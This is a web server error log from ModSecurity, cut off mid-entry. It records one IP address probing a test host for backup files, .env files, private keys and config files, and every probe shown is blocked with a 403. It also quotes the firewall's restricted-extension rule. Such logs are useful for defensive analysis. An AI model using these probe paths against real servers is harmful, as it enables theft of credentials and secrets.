[Sun Mar 01 20:26:15.078811 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.bak&quot;] [unique_id &quot;aaSS1_6okG7BJFjW-txCQAAAAAU&quot;]
[Sun Mar 01 20:26:15.124206 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.php.bak&quot;] [unique_id &quot;aaSS1_6okG7BJFjW-txCQgAAAAU&quot;]
[Sun Mar 01 20:26:15.124720 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.php.bak&quot;] [unique_id &quot;aaSS1_6okG7BJFjW-txCQgAAAAU&quot;]
[Sun Mar 01 20:26:15.124925 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.php.bak&quot;] [unique_id &quot;aaSS1_6okG7BJFjW-txCQgAAAAU&quot;]
[Sun Mar 01 20:26:15.681374 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /internal/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/internal/config/.env&quot;] [unique_id &quot;aaSS1zbFttlEB3wQCxmf0wAAAAQ&quot;]
[Sun Mar 01 20:26:15.681657 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/internal/config/.env&quot;] [unique_id &quot;aaSS1zbFttlEB3wQCxmf0wAAAAQ&quot;]
[Sun Mar 01 20:26:15.681837 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/internal/config/.env&quot;] [unique_id &quot;aaSS1zbFttlEB3wQCxmf0wAAAAQ&quot;]
[Sun Mar 01 20:26:16.259564 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/iot/settings.conf&quot;] [unique_id &quot;aaSS2DbFttlEB3wQCxmf7AAAAAQ&quot;]
[Sun Mar 01 20:26:16.260066 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/iot/settings.conf&quot;] [unique_id &quot;aaSS2DbFttlEB3wQCxmf7AAAAAQ&quot;]
[Sun Mar 01 20:26:16.260217 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/iot/settings.conf&quot;] [unique_id &quot;aaSS2DbFttlEB3wQCxmf7AAAAAQ&quot;]
[Sun Mar 01 20:26:16.559126 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jobs/secret.key&quot;] [unique_id &quot;aaSS2DbFttlEB3wQCxmf-QAAAAQ&quot;]
[Sun Mar 01 20:26:16.559684 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jobs/secret.key&quot;] [unique_id &quot;aaSS2DbFttlEB3wQCxmf-QAAAAQ&quot;]
[Sun Mar 01 20:26:16.559850 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jobs/secret.key&quot;] [unique_id &quot;aaSS2DbFttlEB3wQCxmf-QAAAAQ&quot;]
[Sun Mar 01 20:26:16.818625 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kaspersky/kav.conf&quot;] [unique_id &quot;aaSS2DbFttlEB3wQCxmgBAAAAAQ&quot;]
[Sun Mar 01 20:26:16.819216 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kaspersky/kav.conf&quot;] [unique_id &quot;aaSS2DbFttlEB3wQCxmgBAAAAAQ&quot;]
[Sun Mar 01 20:26:16.819426 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kaspersky/kav.conf&quot;] [unique_id &quot;aaSS2DbFttlEB3wQCxmgBAAAAAQ&quot;]
[Sun Mar 01 20:26:16.911547 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/keys/private.key&quot;] [unique_id &quot;aaSS2DbFttlEB3wQCxmgCAAAAAQ&quot;]
[Sun Mar 01 20:26:16.912131 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/keys/private.key&quot;] [unique_id &quot;aaSS2DbFttlEB3wQCxmgCAAAAAQ&quot;]
[Sun Mar 01 20:26:16.912317 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/keys/private.key&quot;] [unique_id &quot;aaSS2DbFttlEB3wQCxmgCAAAAAQ&quot;]
[Sun Mar 01 20:26:17.003651 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kfsensor/settings.ini&quot;] [unique_id &quot;aaSS2TbFttlEB3wQCxmgDAAAAAQ&quot;]
[Sun Mar 01 20:26:17.004158 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kfsensor/settings.ini&quot;] [unique_id &quot;aaSS2TbFttlEB3wQCxmgDAAAAAQ&quot;]
[Sun Mar 01 20:26:17.004313 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kfsensor/settings.ini&quot;] [unique_id &quot;aaSS2TbFttlEB3wQCxmgDAAAAAQ&quot;]
[Sun Mar 01 20:26:17.210617 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/microscope/config.ini&quot;] [unique_id &quot;aaSS2TbFttlEB3wQCxmgFQAAAAQ&quot;]
[Sun Mar 01 20:26:17.211129 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/microscope/config.ini&quot;] [unique_id &quot;aaSS2TbFttlEB3wQCxmgFQAAAAQ&quot;]
[Sun Mar 01 20:26:17.211273 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lab/microscope/config.ini&quot;] [unique_id &quot;aaSS2TbFttlEB3wQCxmgFQAAAAQ&quot;]
[Sun Mar 01 20:26:17.233556 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/language/en-GB/en-GB.ini&quot;] [unique_id &quot;aaSS2TbFttlEB3wQCxmgFgAAAAQ&quot;]
[Sun Mar 01 20:26:17.234017 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/language/en-GB/en-GB.ini&quot;] [unique_id &quot;aaSS2TbFttlEB3wQCxmgFgAAAAQ&quot;]
[Sun Mar 01 20:26:17.234168 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/language/en-GB/en-GB.ini&quot;] [unique_id &quot;aaSS2TbFttlEB3wQCxmgFgAAAAQ&quot;]
[Sun Mar 01 20:26:17.370885 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver 